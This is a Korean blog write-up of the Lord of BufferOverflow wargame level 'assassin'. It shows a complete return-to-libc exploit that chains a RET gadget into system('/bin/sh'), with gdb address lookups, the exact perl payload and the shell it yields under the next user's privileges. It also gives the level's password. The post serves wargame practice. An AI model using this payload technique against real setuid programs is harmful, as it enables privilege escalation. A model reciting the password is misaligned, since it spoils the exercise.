assasin.c 를 열어보자.
이건 또 뭐하는 놈인가. no stack, no RTL?
일단 스택, 라이브러리 영역으로 eip를 돌릴 수가 없다.
에헤이.. 그럼 도대체 어디다가 하란 말이오...
코드영역(텍스트 영역)이 남아 있는데.. 코드영역을 활용해서 공격을 할 수 있을지 생각해보자.
어셈블리 코드는 코드영역 상에 있는 주소 그 위치에 있다. gdb돌리면 나옴
명령어 별로 그 주소를 가젯이라고 한다.
RET 가젯을 이용하면 되지 않을까.
이것에 대해서 선행으로 미리 공부를 한 적이 있어서 쉽게 생각할 수 있었다.
RET가젯은 gdb로 쉽게 알 수 있다.
RET가젯을 RET자리에 올리고 RTL을 해보자.
"/bin/sh"의 주소는 접때 구해놓은 것을 쓰겠다. ----> 0x400fbff9
페이로드부터 일단 짜보면
[nop 44] [&RET 가젯] [&system함수] [nop 4] ["/bin/sh" 주소]
이렇다. 그럼 저 페이로드 대로 공격을 한번 해보자.
[giant@localhost giant]$ gdb -q assassim
(gdb) set disassembly-flavor intel
(gdb) b *main
Breakpoint 1 at 0x8048470
(gdb) r aaa bbb
Starting program: /home/giant/assassim aaa bbb
Breakpoint 1, 0x8048470 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) quit
The program is running. Exit anyway? (y or n) y
[giant@localhost giant]$ ./assassin `perl -e 'print "\x90"x44, "\x1e\x85\x04\x08","\xe0\x8a\x05\x40","\x90"x4,"\xf9\xbf\x0f\x40"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?@릱릱廈@
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$ my-pass
euid = 515
pushing me away
bash$
'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글
LOB Level 17 (zombie_assassin) (0) | 2021.04.12 |
---|---|
LOB Level 16 (assassin) (0) | 2021.04.12 |
LOB Level 14 (bugbear) (0) | 2021.04.12 |
LOB Level 13 (darkknight) (0) | 2021.04.12 |
LOB Level 12 (golem) (0) | 2021.04.12 |